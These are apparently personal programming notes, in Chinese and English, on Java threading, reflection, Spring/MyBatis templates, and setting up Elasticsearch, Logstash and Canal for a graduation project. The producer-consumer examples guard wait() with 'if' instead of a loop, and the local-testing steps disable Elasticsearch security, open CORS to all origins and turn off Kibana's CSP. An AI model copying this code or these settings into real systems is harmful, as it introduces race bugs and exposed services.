  public static void main(String[] args){
    Name name = new name;
    new Thread(name).start;
  }
}

生产者消费者模式

简而言之就是，线程间通信的问题。如何让两个线程间，一个线程通知另一个线程该做什么事情。拿这个例子的字面意思来说，就是消费者提醒生产者生产，生产者提醒消费者去消费的问题。

一般有两种方法，一是管程法，即设立缓冲区；二是信号灯法，即设立标志位(如一个bool)。

管程法

  • 此处只贴出示例代码，因为很简单，一看就能看懂
package com.tinysnow;

/**
 * @author TinySnow
 */
public class ThreadPoolTest {
    public static void main(String[] args) {
        SynContainer container = new SynContainer();

        new Producer(container).start();
        new Consumer(container).start();
    }
}

/**
 * 此处为了方便直接继承 Thread 类进行多线程并发，将重点落在业务逻辑上
 * 此处为生产者方法
 */
class Producer extends Thread {
    SynContainer container;

    public Producer(SynContainer container) {
        this.container = container;
    }

    /**
     * 生产
     */
    @Override
    public void run() {
        for (int i = 0; i < 100; i++) {
            System.out.println("生产了" + i + "只鸡");
            container.push(new Chicken(i));

        }
    }
}

/**
 * 消费者
 */
class Consumer extends Thread {
    SynContainer container;

    public Consumer(SynContainer container) {
        this.container = container;
    }

    /**
     * 消费
     */
    @Override
    public void run() {
        for (int i = 0; i < 100; i++) {
            System.out.println("消费了-->" + container.pop().id + "只鸡");
        }
    }
}

/**
 * 产品
 */
class Chicken {
    /**
     * 产品编号
      */
    int id;

    public Chicken(int id) {
        this.id = id;
    }
}

/**
 * 缓存区
 */
class SynContainer {
    /**
     * 容器大小
     */
    Chicken[] chickens = new Chicken[10];
    int count = 0;

    /**
     * 放入产品方法
     * @param chicken 将产品放入缓冲区中，也即管程中
     */
    public synchronized void push(Chicken chicken) {
        if (count == chickens.length) {
            //通知消费者消费，生产等待
            try {
                this.wait();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        //丢入产品
        System.out.println("正在生产第" + chicken.id + "只鸡");
        chickens[count] = chicken;
        count++;
        //通知消费者消费
        notifyAll();
    }

    /**
     * 消费方法
     * @return 返回被消费的产品
     */
    public synchronized Chicken pop() {
        //判断可否消费
        if (count == 0) {
            //等待生产者生产，消费者等待
            try {
                this.wait();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        count--;
        Chicken chicken = chickens[count];
        System.out.println("正在消费第" + chicken.id + "只鸡");
        chickens[count] = null;
        notifyAll();
        return chicken;
    }
}

信号灯法

  • 此处只贴出示例代码，因为很简单，一看就能看懂
package com.tinysnow;

/**
 * @author TinySnow
 */
public class ThreadPoolTest {

    public static void main(String[] args) {
        TV tv = new TV();
        new Producer2(tv).start();
        new Consumer2(tv).start();
    }
}

/**
 * 生产者，也即演员
 */
class Producer2 extends Thread {
    TV tv;

    public Producer2(TV tv) {
        this.tv = tv;
    }

    @Override
    public void run() {
        for (int i = 0; i < 20; i++) {
            if (i % 2 == 0) {
                tv.play("真中あお");
            } else {
                tv.play("Tessa");
            }
        }
    }
}


/**
 * 消费者，也即观众
 */
class Consumer2 extends Thread {
    TV tv;

    public Consumer2(TV tv) {
        this.tv = tv;
    }

    @Override
    public void run() {
        for (int i = 0; i < 20; i++) {
            tv.watch();
        }
    }
}


/**
 * 产品，也即节目
 */
class TV {
    /**
     * 演员表演，观众等待  T
     * 观众观看，演员等待  F
     */
    boolean flag = true;
    /**
     * 表演的节目
     */
    String voice;

    /**
     * 表演
     * @param voice 表演的节目
     */
    public synchronized void play(String voice) {
        if (!flag) {
            try {
                this.wait();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        System.out.println("演员表演了" + voice);
        //通知观众观看
        //通知唤醒
        this.notifyAll();
        this.voice = voice;
        this.flag = !this.flag;
    }

    /**
     * 观看，也即消费
     */
    public synchronized void watch() {
        if (flag) {
            try {
                this.wait();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        System.out.println("观众观看了" + voice);
        //通知演员表演
        this.notifyAll();
        this.flag = !this.flag;
    }
}

线程池

因为线程创建和销毁的开销较大，可以建立一个线程池，需要时从里面拿取，线程任务结束后，又放回线程池里面进行循环利用从而减少开销。

示例代码：

package com.tinysnow;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * @author TinySnow
 */
public class ThreadPoolTest {

    public static void main(String[] args) {
        // 1.建立服务，建立线程池
        // newFixedThreadPool 参数为：线程池大小
        ExecutorService service = Executors.newFixedThreadPool(10);
        // 执行
        service.execute(new MyThread());
        service.execute(new MyThread());
        service.execute(new MyThread());
        service.execute(new MyThread());
        service.execute(new MyThread());
        // 2.关闭链接
        service.shutdown();
    }
}
class MyThread implements Runnable{
    @Override
    public void run() {
        for (int i = 0; i < 5; i++) {
            System.out.println(Thread.currentThread().getName()+i);
        }
    }
}

注意：

在 Alibaba Java Coding Guide Line 中禁止使用 Exeutor 创建线程，需要手动创建线程。目前不清楚其原理，等日后再研究吧。

后置 TODO

Annotations and Reflection

Annotations

Annotations are used to sign some methods or classes and so on, they are not only can mention the programmer, but also can work on your code if you used correct form.

Internal Annotations from JDK

@Override           // It's used to sign the methods form super class, and it can restrict(限制) that                        method is changed in a wrong way.
@Deprecated         // It's used to remind coder that this method has some bad places, or is nor                            recommended. It's also used to remind coder to use another better methods to                          realize their purpose.
@SuppressWarnings   // It's used to eliminate(消除) warnings. It accepts a param, the details can be                          looked up in the documentation.

Meta-annotations(元注解)

Meta-annotations are a kind of the basic annotations, they are used to express the usage(用途) of a complex user-defined annotation, such as where can use, and when they lose their effects.

@Target             // Describe the user-defined annotation where it can use, such as method, class,                        field, constructor and so on. It accept a param, a String or an Array, which                          express the effect range. At most of the time, it's usually                                          ElementType.TYPE, ElementType.FIELD, ElementType.METHOD,                                              ElementType.PARAMETER, ElementType.CONSTRUCTOR, ElementType.LOCAL_VARIABLE,                          ElementType.ANNOTATION_TYPE, ElementType.PACKGE.You can search the JDK source                          code or document for more details.
@Retention          // Describe the user-defined annotation when it loses its effect. It accept a                            param, which should be chosen in RetentionPolicy.SOURCE/CLASS/RUNTIME. The                            details can be looked up in the documentation.
                    // RetentionPolicy.SOUCE:
                    // When code is compiled, and target classes have been generated(生成), the effect                        will disappear.
                    // RetentionPolicy.CLASS:
                    // The annotation will still work on target classes. However, when the program                          run, it won't work.
                    // RetentionPolicy.RUNTIME:
                    // The annotation will work at all time(总是).
@Document           // Express that the annotation should be included in the javadoc.
@Inherited          // It aims that the subclasses can inherite the super class.

How to customize a annotation?

/**
 * explanation
 */
@Target(...)
@Retention(...)
@Document(...)
@Inherited(..)
(public) @interface [annotation name] {
  // params list pattern:
  // default rule: if the params have only one, its name probably is 'value'.
  [type] [param name] + () + default [default value];
}

Reflection

Java reflection allows program get any class's information by Reflection API when the program is running. And it can operate any object's inner attributes and methods directly. It's the key mechanism(机制) that let Java be a dynamic programming language.

反射概述

Where can it reply?

反射功能

Advantages and Shortcomings

  • Advantages

Reflection can create Object and compile dynamically, it provide the flexibility(灵活性) of creating a project.

  • Shortcomings

Using Reflection too much will extremely reduce performance.

Main APIs

java.lang.Class
+
java.lang.reflect.Method ...

How get the class and new a object?

Premise(前提) Class:

package com.tinysnow.Java.MultipurposeClasses;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

/**
 * @author TinySnow
 */
@Data
@NoArgsConstructor
@AllArgsConstructor
public class User {
    private int id;
    private String username;
    private int age;
    private String email;
    private String password;
    private String[] hobbies;
    private String[] relatives;
}

Get class example:

package com.tinysnow.Java.AnnotationsAndReflection;

import java.lang.reflect.Field;

/**
 * @author TinySnow
 */
public class GetReflectedClass {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException {
      
        Class aClass = Class.forName("com.tinysnow.Java.MultipurposeClasses.User");
      
        Field username = aClass.getDeclaredField("username");
      
        System.out.println(username);
      
    }
}
  • Result:

实验截图之一

The other ways to get class can be looked up in the first and second photos at the end of this passage, "Appendix".

Invoke the method through reflection:

反射过程

Some thing about setAccessible()

反射方法

if the setAccessible() method is on, the efficiency(效率) will be very low, here is a result that compared with turning off setAccessible() and common way:

时间比对

common way: new an object.

Get object example:

package com.tinysnow.Java.AnnotationsAndReflection;

/**
 * @author TinySnow
 */
public class GetReflectedObject {
    public static void main(String[] args) {
        try {
            Class aClass = Class.forName("com.tinysnow.Java.MultipurposeClasses.User");
            aClass.newInstance();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }
}

==Attention Please:==

The object that comes from the "newInstance" method is a full null object, that is all attributes in the object will be evaluated(赋值) with null, 0, "" and so on.

If you wanna new an object with some attributes or params, please invoke(调用) "getConstructor" or "getDeclaredConstructors" and then use the constructor to new an object you want.

An example for the above explanation:

package com.tinysnow.Java.AnnotationsAndReflection;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

/**
 * @author TinySnow
 */
public class GetReflectedObject {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
      
        Class aClass = Class.forName("com.tinysnow.Java.MultipurposeClasses.User");
      
        Constructor constructor = aClass.getDeclaredConstructor(int.class, String.class,
                int.class, String.class, String.class, String[].class, String[].class);
      
        Object test = constructor.newInstance(1, "真中あお", 114, "ao@514.com", "1919810",
                new String[]{"23", "编曲"}, new String[]{"someone"});
      
        System.out.println(test.toString());
      
    }
}
  • Result:

实验截图之二

About the generic(泛型):

反射操作泛型

Some place needed memory:

  • getXxxxx() : Can only read the public attributes, methods, constructors and so on.
  • getDeclardXxxxx() : Can read all things although someone is private.

All the types that own a class

实验截图之三

By the way, the class of array is complicated, so here gives an example:

实验截图之四

Manipulate(操作) annotations through reflection

The approach is almost the same as operating generic. So here only gives an example. If you wanna manipulate generic, please change the method name and params.

package com.tinysnow.Java.AnnotationsAndReflection;

import lombok.Data;

import java.lang.annotation.*;
import java.util.Arrays;

/**
 * @author TinySnow
 */
@Data
@TestAnnotation("baka")
public class OperateAnnotationsThroughReflection {
  
    public static void main(String[] args) {
        OperateAnnotationsThroughReflection reflection =
                new OperateAnnotationsThroughReflection();
      
        Class aClass = reflection.getClass();
      
        Annotation[] annotations = aClass.getAnnotations();
      
        System.out.println(Arrays.toString(annotations));

        // The way to get the value in the annotation
        String value = aClass.getAnnotation(TestAnnotation.class).value();
        System.out.println(value);
    }
  
}

/**
 * @author TinySnow
 */
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@interface TestAnnotation{
    String value() default "Tessa baka";
}

Appendix

获取-Class

获取类实例代码

类的加载过程

类加载与-ClassLoader

类初始化的时刻

类加载器的作用

Appendix(附录)

基础

并发

思路

Kotlin Note

代码之一

代码之二

操作符之一

操作符之二

中缀表达式

反引号

比较对象

泛型

Kotlin 的泛型约束。

协程

文件模板

一些可能日常工作能派上用处的文件模板，收录于此。

JDBC 连接数据库驱动常用写法

jdbc.driver = com.mysql.cj.jdbc.Driver
jdbc.url = jdbc:mysql://localhost:3306/\
  ?useUnicode=true&characterEncoding=UTF-8\
  &serverTimezone=Asia/Shanghai&useSSL=false\
  &allowPublicKeyRetrieval=true
jdbc.username = root
jdbc.password =

MyBatis 配置文件基本框架

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
  PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
  "http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>

</configuration>




<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
  PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
  "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="">

</mapper>

Spring 配置文件基本框架

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        https://www.springframework.org/schema/beans/spring-beans.xsd">

</beans>

SpringBoot 项目搭建基本流程

模块

  • 一般有 Lombok, Spring Security, Spring Web, MySQL Driver；

  • 可选有 Spring Data Reactive Redis, Thymeleaf 等；

  • 删除 .mvn, HELP.md, .gitignore, mvnw, mvnw.cmd；

  • 删除 application.properties ，换成 application.yml ；

    • 根据自己实际情况添加 application 包，在里面添加 application-XXXXX.yml 文件；
    • 一般会有开发 (dev), 测试 (test), 上线 (prod)；
    • 其他根据自己另行添加，如 mybatis, druid, security；

  • 在 pom.xml 文件里添加上如下常用依赖，并同步 Maven ；

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>druid</artifactId>
            <version>1.1.23</version>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>druid-spring-boot-starter</artifactId>
            <version>1.1.23</version>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.62</version>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.17</version>
        </dependency>
        <dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis</artifactId>
            <version>3.5.5</version>
        </dependency>
        <dependency>
            <groupId>org.mybatis.spring.boot</groupId>
            <artifactId>mybatis-spring-boot-starter</artifactId>
            <version>2.1.3</version>
        </dependency>

IDEA 侧栏连接数据库

  • 在 application-dev.yml 里面加上数据库连接的代码，以 mysql 为例：
spring:
  datasource:
    username: root
    password: tinysnow;
    url: jdbc:mysql://localhost:3306/?useUnicode=true
      &characterEncoding=utf-8&allowPublicKeyRetrieval=true&useSSL=false
    driver-class-name: com.mysql.cj.jdbc.Driver
  • 在项目目录下 (com.tinysnow.xxxxxx) 下建包 bean , service , controller , dao , config , utils , mapper 等，在 resources 路径下建立 mappers 包，准备整合 mybatis ；
  • 启动和测试；

Druid 数据库连接池相关

  • 开始使用
# 注意空格 也可以将这个另开一个配置文件编写，例如 application-druid.yml
# 另外编写则需要在主配置文件中激活，激活方式如下：
#spring: 
#  profiles:
#    active: druid,mybatis
spring: 
  datasuorce: 
    type: com.alibaba.druid.pool.DruidDataSource
  • 在 Test 类里面加上以下内容看是否输出 class com.alibaba.druid.pool.DruidDataSource
@Autowired
DataSource dataSource;

@Test
void contextLoads() {
    System.out.println(dataSource.getClass());
}

Druid 额外参考配置

# 注意，以下所有配置均需要在 druid: 下一级编写，即
#spring: 
#  datasuorce:
#    druid: 
initialSize: 5
minIdle: 5
maxActive: 20
maxWait: 60000
timeBetweenEvictionRunsMillis: 60000
minEvictableIdleTimeMillis: 300000
testWhileIdle: true
testOnBorrow: false
testOnReturn: false
poolPreparedStatements: true
maxOpenPreparedStatements: 20
asyncInit: true

# 配置监控统计拦截的 filters ： stat:监控统计、log4j:日志记录、wall:防御sql注入
# 如果允许时报错 java.lang.ClassNotFoundException: org.apache.log4j.Priority
# 则导入 log4j 依赖即可， Maven 地址: https://mvnrepository.com/artifact/log4j/log4j

filters: stat,wall,log4j
MaxPoolPreparedStatementPerConnectionSize: 20
useGlobalDataSourceStat: true
connectionProperties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=500

Mybatis 相关

  • 建立 application-mybatis.yml 配置文件，内容如下，可拓展：
mybatis:
  # 此路径为编写的 xml 文件的路径
  mapper-locations: classpath:mybatis/mappers/*.xml
  # 实体类的别名包设置
  type-aliases-package: com.tinysnow.bean
  • 在 resources 目录下建立 mybatis/mappers 包
  • 在该包下编写实际操作数据库的 xml 代码
  • 在主启动类上面加上注解 @MapperScan("com.tinysnow.mapper") 括号里为 mybatis 的操作接口的路径
  • 在该路径下建立操作接口，并在每个接口上面添加 @Repository 注解，使其被 Spring 托管

实践记录

所有计算机工程途中遇到的问题，解决方案，想法等，收录于此。

DocSearch 搜索集成

步骤与流程

  1. 申请 DocSearch，网上教程很多，不再赘述

    • 详情可以参考这篇 博客 或者这篇 博客

    • 如果成功，官方会发邮件，里面会有 DocSearch 和 Algolia，你的 Web 站点的 API Key（其实 DocSearch 是 Algolia 的子项目，用的 Algolia 的服务，所以本质上这个 API Key 在这两个网站间通用）

    • 邮件让人添加的代码大概长这样：

    • <!-- at the end of the HEAD -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/docsearch.js@2/dist/cdn/docsearch.min.css" />
    
<!-- at the end of the BODY -->
<script type="text/javascript" 
src="https://cdn.jsdelivr.net/npm/docsearch.js@2/dist/cdn/docsearch.min.js"></script>

<script type="text/javascript">
docsearch({
    appId: 'XXXXX',
    apiKey: 'XXXXX',
    indexName: 'Your Website',
    container: '#docsearch',
    debug: false // Set debug to true if you want to inspect the modal
});
</script>

  2. 按照指示添加到站点相应的框架里就可以

    • 一般来说是静态站点生成器，那就需要注意有没有相应的模板可以添加（如 index.hbs）

    • 注意：因为邮件里需要在模板中添加一个 Container，不管是 div 也好，p 也好，都需要在想展示的位置上添加这个 Container，否则不起作用，例子如下：

    • <div id="docsearch" />

  3. 看效果，一般情况下，编译之后就会出现一个搜索框

    • 如果没有，就需要看看代码哪里出了错，或者是没找到模板文件
    • 笔者就犯过 docsearch 方法里少了一个逗号，然后搜索框出不来的低级错误

  4. 试试搜索效果，一般来说会有结果，如果没有则说明 Algolia 的后台 Index 里没有记录，没有记录肯定没有搜索结果（就像数据库里没有数据一样）

  5. 登录 Algolia 的 Dashboard，查看相应站点的 Index，看看有没有 Records

    • 没有记录：
    • 有记录：

  6. 没有的话需要重新爬取网页，定制爬虫

Mdbook 排版混乱

表现

  • 左侧菜单栏收不回去
  • 占用大面积显示左侧菜单栏

原因

  • Mdbook 旧版本升级为 Latest 时，修改了 index.hbs 文件模板
  • 可以通过新版 Mdbook 新建工程时，建立的新 index.hbs 文件看出
    • 对比文件推荐使用 WinMerge，很好用

解决

  • 比对旧版 index.hbs 和新版 index.hbs 文件

  • 将旧版文件的相应部分内容，替换为新版（大部分内容应该是一致的）

    • 尤其是下面这部分

    •          <!-- Hide / unhide sidebar before it is displayed -->
-        <script type="text/javascript">
-            var html = document.querySelector('html');
-            var sidebar = 'hidden';
+        <script>
+            var body = document.querySelector('body');
+            var sidebar = null;
+            var sidebar_toggle = document.getElementById("sidebar-toggle-anchor");
            if (document.body.clientWidth >= 1080) {
                try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
                sidebar = sidebar || 'visible';
+            } else {
+                sidebar = 'hidden';
+            }
-            html.classList.remove('sidebar-visible');
-            html.classList.add("sidebar-" + sidebar);
+            sidebar_toggle.checked = sidebar === 'visible';
+            body.classList.remove('sidebar-visible');
+            body.classList.add("sidebar-" + sidebar);
        </script>

    • 但不仅限于这部分

毕业设计环境准备（Normal Edition）

前提

  • 电脑双系统，另一系统为 Ubuntu 22.04
  • 所有环境重新安装

安装环境

  • 执行所需要的开发环境命令，如果没有会提示安装
    • 如需要 node，没有 node 环境则会提示 sudo apt install nodejs
    • 下面是所有环境安装命令
sudo apt install openjdk-17-jdk
sudo apt install mysql-server
sudo apt install maven

sudo apt install npm
# 安装 node 版本管理工具 n
sudo npm install n -g
# 使用 n 下载最新版
sudo n stable
# 然后刷新，否则容易出现 node -v 还是旧本版的情况
hash -r
# 特别提醒：node 旧版本不支持 await 等语法，运行不了代码，必须更新版本

设置 Maven

# 刚下下来的 Maven 的设置 settings.xml 都是默认的，需要自己配置
# 配置完毕之后以后也就可以不用管了，保存在一个地方以后只用这个 settings.xml
# 配置完毕之后，进入后端的文件夹，执行以下命令
# Maven 会自动下载依赖
mvn clean
mvn install
  • 这个时候可能还是不能运行 Spring Boot 项目
  • （VSCode 环境下）pom.xml 还是会有报错
  • 需要在 VSCode 的设置里添加下面的设置，让 VSCode 引用自定义的 settings.xml
    "java.configuration.maven.globalSettings": "/etc/maven/settings.xml",
    "java.configuration.maven.userSettings": "/etc/maven/settings.xml",
  • 此处的路径根据自己保存的 settings.xml 确定，需要精确到 settings.xml 文件
  • 然后保存刷新一下，稍等片刻就好了

配置 MySQL

sudo systemctl start mysql
  • 因为此处有 root（Linux 系统）的密码了，可以直接用这个密码
# 1. 如果弹出这个句子，可以不用更改 mysql 的 root 密码，想改也可以改

Change the password for root ? ((Press y|Y for Yes, any other key for No) : n

# 2. 如果出现以下段落，就需要重新设置密码

# 2.1. 询问是否使用密码验证

Securing the MySQL server deployment.

Connecting to MySQL using a blank password.

VALIDATE PASSWORD COMPONENT can be used to test passwords
and improve security. It checks the strength of password
and allows the users to set only those passwords which are
secure enough. Would you like to setup VALIDATE PASSWORD component?

Press y|Y for Yes, any other key for No:

# 2.2. 密码强度三个级别

There are three levels of password validation policy:

LOW    Length >= 8
MEDIUM Length >= 8, numeric, mixed case, and special characters
STRONG Length >= 8, numeric, mixed case, special characters and dictionary                  file

Please enter 0 = LOW, 1 = MEDIUM and 2 = STRONG:

# 2.3. 后面输入密码就可以

# 3. 此处不重设密码，之后询问的所有内容，一路 y 即可

# 4. 登陆 MySQL

mysql -uroot -p
  • 链接：注意不要下成 enterpise search 了
  • 根据自己版本下载
  • 解压后需要修改配置

VSCode 需要下载的插件

  • TypeScript Vue Plugin (Volar)
  • Extension Pack for Java
  • Vite
  • Material Icon Theme（只是为了好看，可以不下）

进入 VSCode

  • 进入 frontend 前端文件夹，安装所需依赖
npm install --registry=registry.npmmirror.com
  • 然后运行项目即可

Elastic Search 启用

下载

解压

启动

  • 先启动一次，会自动生成一些配置文件
  • 如果启动报错
ERROR: Elasticsearch exited unexpectedly

  • 多半就是 jvm 内存问题

    • 去 config 文件夹下面修改 jvm.options 文件
    • 找到 IMPORTANT: JVM heap size
    • 将下面的内容取消注释，4g 修改为 1g 即可
      ## -Xms4g
  ## -Xmx4g

  • 重新启动

配置

  • 本地测试使用密码可能会比较麻烦
  • 生成配置文件之后，去 elasticsearch.yml 里面把最下方的所有 true 更改为 false 即可

可视化

Kibana

  • 流程与上面一致
  • 启动后访问 本地浏览器
  • 如果遇到报错 This Elastic installation has strict security requirements enabled that your current browser does not meet. 需要将 csp.strict: false 配置项添加至配置文件 kibana.yml 里
    • 该配置项是使用了内容安全策略（CSP）防止浏览器受到攻击

ElasticSearch-Head

  • 此工具用起来比较简单

注意

  • 中文默认分词器惨不忍睹，需要自己安装额外分词器
  • 查询比较特殊，要求 GET 请求携带数据体
  • 查询也可以用 POST，不是必须用 GET
  • 允许跨域需要在 elasticsearch.yml 中添加配置
#开启跨域
http.cors.enabled: true
#允许所有
http.cors.allow-origin: "*"

Logstash 同步 MySQL 数据到 Elastic Search

环境准备

  1. 下载 Logstash 并解压
  2. 下载 Elastic Search 并启动，参见 Elastic Search 启用
  3. 需要下载 MySQL Java Connector 到一个特定目录，路径后续会用到

启动

  • 需要提前启动 Elastic Search 和 MySQL

    • 因为 MySQL 服务一直挂在后台，所以其实可以不用管
    • 但 Elastic Search 需要提前启动

  • 其实可以直接启动，但是会报 pipelines.yml 找不到工作流的错误

    # 省略一些 INFO 日志，来到报错行
ERROR: Pipelines YAML file is empty. Location: <path>/pipelines.yml

  • 所以下一步配置工作流

配置 pipelines.yml

- pipeline.id: test
  path.config: "config/mysql.conf"
  • 将给出的例子取消注释
    • id 随便取名，只适用于区分工作流的名字
    • 指明该 config 的位置
  • 注意，此处的 config 的相对路径以 logstash-<version> 为根目录，所以需要加上 config 路径
    • 即直接在 pipelines.yml 所在目录下新建 mysql.conf

配置 mysql.conf

  • 观察到同级目录下还有一个 logstash-sample.conf
    • 此为配置的模板文件，复制粘贴其格式即可
  • 配置自己所需要的 mysql.conf
# Sample Logstash configuration for creating a simple
# Beats -> Logstash -> Elasticsearch pipeline.

input {
  stdin {}
  jdbc {
    # 区别 jdbc 的类型，在下面 output 的时候做判断
    type => "user"
    # 数据库连接地址，数据库需要修改
    jdbc_connection_string => "jdbc:mysql://127.0.0.1:3306/<database>?characterEncoding=UTF-8"
    # 数据库账号密码
    jdbc_user => "root"
    jdbc_password => "password"
    # MySQL Connector 依赖包路径，相对路径没成功，所以这里笔者用的绝对路径
    jdbc_driver_library => "<path_to_connector>"
    # Driver Class 名字，跟普通 JDBC 相同
    jdbc_driver_class => "com.mysql.cj.jdbc.Driver"
    # 跟 statement_filepath 二选一配置，说明在下方
    statement => "SELECT * FROM user"
    ###################### 以下配置选择性添加 #############################
    # 数据库重连尝试次数
    connection_retry_attempts => "3"
    # 判断数据库连接是否可用，默认 false
    jdbc_validate_connection => "true"
    # 数据库连接可用校验超时时间
    jdbc_validation_timeout => "3600"
    # 开启分页查询，默认 false
    jdbc_paging_enabled => "true"
    # 单次分页查询条数，默认 100000，若字段较多且更新频率较高，建议调低
    jdbc_page_size => "500"
    # 是否将字段名转换为小写，默认 true（如果有数据序列化、反序列化需求，建议改为 false）
    lowercase_column_names => false
    # SQL 日志级别，默认 info
    sql_log_level => warn
  }
}

output {
  if [type] == "user" {
    elasticsearch {
      hosts => ["http://localhost:9200"]
      index => "user"
      # 数据唯一索引，建议使用数据库的主键
      # 此处 id 更改为该数据库表的主键名
      document_id => "%{id}"
    }
  }
}
  • 说明
    • 现根据 jdbc 配置连接数据库，所以 username, password, driver class, driver library 需要正确
    • 然后执行设置的 statement，或者 statement_filepath 里面的 SQL 语句
    • 将执行结果输出到 logstash 进行下一步 filter 清洗（此处没有设置 filter）
    • 最后根据 jdbc 设置的 type 选择性输出到某一数据库

再启动

  • 再启动即可看到数据导入的日志：
[2023-03-10T22:17:18,147][WARN ][logstash.inputs.jdbc     ][test][36d9eb008791f9c7d7369939a04c776115306dd4587ac6b11cef2da0d3147fda] (0.018373s) SELECT * FROM (SELECT * FROM user) AS `t1` LIMIT 500 OFFSET 0
  • 根据这些日志也可以反推出流程（特别是里面的子查询，很显眼）

检查数据

  • 如果不放心可以进 kibana 或者 发送一个请求 查看结果

  • # 建议 MySQL 的每一张表都独立成一个 index，所以需要替换
# 对于上面的例子，替换成 user 即可
curl GET http://localhost:9200/<index>/_search

  • 如果 total 里的条数和 MySQL 当中数据条数一致，就已经成功了

MySQL 与 Elastic Search 的数据同步尝试

起因

  1. 毕业设计想要集成一个搜索引擎
  2. MySQL 语句为正向搜索，效率低，不精准
  3. 考虑技术选型，决定使用 Elastic Search 倒排搜索
  4. 然后出现问题：Elastic Search 和 MySQL 之间的数据同步
  5. MySQL 为上游源（生产者），Elastic Search 为下游（消费者）
  6. 考虑两种方案：全量同步和增量同步
  7. 决定使用增量同步
  8. 增量同步目前流行方案为 Canal

原理

  • Canal 伪装成 MySQL slave 从机，订阅 master MySQL 的 binlog，然后重放到 Elastic Search 数据库中

前置准备

  1. 下载 canal-example, canal-adapter, canal-deployer, canal-admin 四个压缩包并到对应文件夹解压

    • 建议专门建立一个编程环境的文件夹 environment

  2. 开启 MySQL binlog，此处使用 MySQL 8.0

    • 找到 my.ini

    • 添加内容

      
  [mysqld]
  log-bin=mysql-bin # 开启 binlog
  binlog-format=ROW # 选择 ROW 模式
  server_id=1 # 配置 MySQL replaction 需要定义，不要和 canal 的 slaveId 重复

    • 注意，如果下载的 MySQL 8.0 以上可以不用配置，因为默认开启

    • 可以通过 show variables like '%log%' 查看

    • 配置文件位置

      • Windows：一般为 C:\ProgramData\MySQL\MySQL Server 5.6\my.ini
      • Ubuntu：一般为 /etc/mysql/mysql.conf.d/mysqld.cnf

    • 后续会迁移到 Docker 上

  3. 配置数据库用户并授权

    • 按官方文档创建一个 canal 的用户，密码也为 canal

      
  CREATE USER canal IDENTIFIED BY 'canal';  
  GRANT SELECT, REPLICATION SLAVE, REPLICATION CLIENT ON *.* TO 'canal'@'%';
  -- GRANT ALL PRIVILEGES ON *.* TO 'canal'@'%' ;
  FLUSH PRIVILEGES;

  4. 配置 canal-deployer

    • 打开 conf/example 文件夹，修改 instance.properties

      
  # position info
  canal.instance.master.address=127.0.0.1:3306

  # username/password
  canal.instance.dbUsername=root
  canal.instance.dbPassword=

    • 修改主机数据库地址和数据库用户名密码

      • 此处的密码是需要连接到主机数据库的用户名和密码
      • 不是 canal 此数据库用户的用户名和密码

    • 其他配置项暂时不用管

  5. 开启 canal-deployer

    • 进入 bin 目录开启 startup.bat(Windows) 或 startup.sh(Linux) 即可

    • 查看日志是否启动成功

    • 日志一般在 logs 文件夹

      • canal 文件夹存放 canal 主服务器启动和停止的日志
      • 其他文件夹记录该 instance 的 binlog 变动

    • 注意，如果没有日志，或者日志报错不能启动，修改对应出错代码即可

      • 因此处使用 JDK17 所以有些 java options 不支持

      • 报错信息：canal Unrecognized VM option 'AggressiveOpts'

      • 在 startup.bat(Windows) 或 startup.sh(Linux) 删除 -XX:+AggressiveOpts 即可

        • 需要能看懂 bash 脚本，或者直接 搜索也可以

使用 canal-example

原因

  • 首先使用 example 观察是否能够成功运行和消费 binlog
  • 小步前进，成功后再使用更复杂的 adapter

步骤

  1. canal-example 的配置文件不用改，可以直接运行 startup.bat(Windows) 或 startup.sh(Linux)

    • conf 文件夹不要动

  2. 如果开启之后 logs 文件夹没有文件，说明 example 没有运行

  3. 错误日志就在 bin 文件夹下面的 nohup.out 文件里面

    • 如果是 JDK17，也需要对应修改 startup.bat(Windows) 或 startup.sh(Linux)，详情参照前置准备第五步

  4. 修改完成之后再启动，即可在 logs 文件夹里观察到 example 的消费记录

使用 canal-adapter

  1. 前置准备，参照 Elastic Search 启用

  2. 配置 application.yml

    • srcDataSources 取消注释，改为自己的数据库信息

      • url 也要改
      • 如果有兴趣，也可以把 defaultDS 这个名字替换成任意名字，然后同步更改相应 es 文件夹里每一个 dataSourceKey 即可

    • 注释 - name: logger

    • 取消注释 es，并把 name 改为 es6 或者 es7，一定要改

  3. 配置对应 es 文件夹的每个 yml 文件

注意事项

毕业设计解决方案

Spring Doc

  • 访问 /swagger-ui.html 重定向的页面，没有 api 显示

  • 因为用到 Spring Security，所以很有可能请求被拦截了，需要配置 Spring Security 访问 Spring Doc 资源

